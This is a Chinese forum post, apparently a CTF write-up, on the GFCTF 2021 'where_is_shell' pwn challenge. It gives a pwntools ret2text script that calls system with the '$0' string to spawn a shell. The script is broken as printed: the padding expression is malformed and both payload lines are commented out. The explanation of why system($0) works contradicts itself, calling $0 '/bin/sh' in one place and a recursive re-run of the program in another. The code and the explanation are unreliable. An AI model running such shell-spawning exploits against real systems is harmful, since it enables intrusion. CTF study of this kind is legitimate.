-
-
[原创]理解 system($0)
-
发表于: 2025-8-27 16:47 490
-
不重要的前言废话:做到了一个ret2text题,有一个值得稍微深入了解的知识点
先看看题
[GFCTF 2021]where_is_shell
一、新知识点
可以利用system($0)获得shell权限,$0在机器码中为 \x24\x30,而$0指代的就是"/bin/sh"
二、解题


看看字符串,shift+F12


有system(),无/bin/sh
注意到旁边函数表里有个函数名叫 tips(),有提示


看看tips(),发现有一个特殊的机器码 \x24\x30,即 $0,执行system($0),一样可以getshell


0x400540:E8
0x400541:24
0x400542::30
在 IDA Pro 中显示机器码(原始字节)
调整反汇编选项
点击菜单栏的 Options → General...
在
Disassembly选项卡下,勾选 "Number of opcode bytes" 并设置要显示的字节数(如 10)这样每条指令前都会固定显示机器码
有两种 payload,要么跳转到,call _system,从而避免栈对齐问题,要么跳转到 system@plt,但需要注意栈对齐问题


和


```
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./shell")
#io = remote("node4.anna.nssctf.cn", 28968)
pop_rdi_ret = 0x4005e3
shell = 0x400557
shell_plt = 0x400430
bin_sh = 0x400541
ret = 0x400416
#payload = b"a"(0x18) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(shell_plt)
或
#payload = b"a"(0x18) + p64(pop_rdi_ret) + p64(bin_sh) + p64(shell)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
```
为什么可以通过system($0)来getshell?
$0代表程序本身,因为之前已经执行过system(),再执行system($0),就可以重新打开shell,调用 system@plt,相当于执行 system(argv[0]),重新以
程序自身作为命令启动,从而获取 shell。
意思就是$0实际上就是程序自己
比如说test.sh的$0就是test.sh
而system函数实际上是让shell创建一个新的进程,交给sh处理,而sh的$0就是shell
shell -c bash
system()函数
shell(Linux/Unix系统) 命令,参数字符串command为命令名
在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程。
比如说 执行 system("cat /flag"),system()函数执行完参数 cat /flag 后,就会退出当前子进程,无法再进行后续的命令执行。
而 执行 system("/bin/sh"),system()函数 产生子进程 后,执行 /bin/sh == /sh 就会在当前子进程下,再创建一个子进程,相当于打开了一个命令行,
让我们可以进行持续的命令操作。
具体演示一下:
在一个linux系统下,打开一个终端,输入 $0 ,回车,再按 Ctrl + D,退出当前shell会话,会发现我们只是退出了子进程。


当我们打开终端时,相当于已经执行了 system(/bin/sh)了,我们在 终端输入的内容,就是 system( ),的参数,输入 $0 会创建一个新的进程,重新运行当前程序或脚本,导致递归执行
或者,为了更加直观的感受在终端 执行 $0 的效果,我们可以 在终端输入 $0 ,再鼠标点击 X ,直接关闭终端,此时会弹出报错!


报错信息显示 :我们的终端下 ,正运行着一个 子进程 ,关闭终端 , 会杀死 子进程。
而这个子进程,正是 我们 在终端行 输入 $0 后 ,执行终端程序自身的递归调用 ,即创建一个新的进程,重新运行当前程序或脚本
那如果我们在终端输入 sh ,回车后 ,再输入 exit ,退出当前shell会话,与之前相比,会有什么不一样吗?


(为了方便观察,我多输入了一次回车)可以看到,我们在终端执行 sh 会重新启动一个新的交互式 shell 会话,而不是 终端命令行的自身调用。
总结:
1. system("/bin/sh")
作用: 直接调用系统的默认 Shell(/bin/sh),启动一个新的交互式 Shell 会话。
特点:
启动的 Shell 会继承当前进程的权限(如果原进程有 SUID 权限,新 Shell 可能具有高权限)。
用户可在此 Shell 中执行任意命令(如
whoami、cat /etc/passwd等)。
2. system($0)
作用: 调用当前程序或脚本自身($0 表示当前程序/脚本的名称),导致递归执行。
在 Shell 脚本中,
$0是脚本自身的路径,例如:#!/bin/bashsystem($0) # 重新执行当前脚本(可能导致无限循环)
在 C 语言中,
$0对应argv[0],即程序名称:#include <stdlib.h>int main(int argc, char *argv[]) { system(argv[0]); // 递归执行当前程序 return 0;
特点:
会创建一个新的进程,重新运行当前程序或脚本。
如果没有终止条件,可能导致无限递归,最终耗尽系统资源(如内存、PID)。
区别:
使用
system("/bin/sh")是为了获取一个交互式 Shell使用
system($0)是为了递归调用程序自身
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!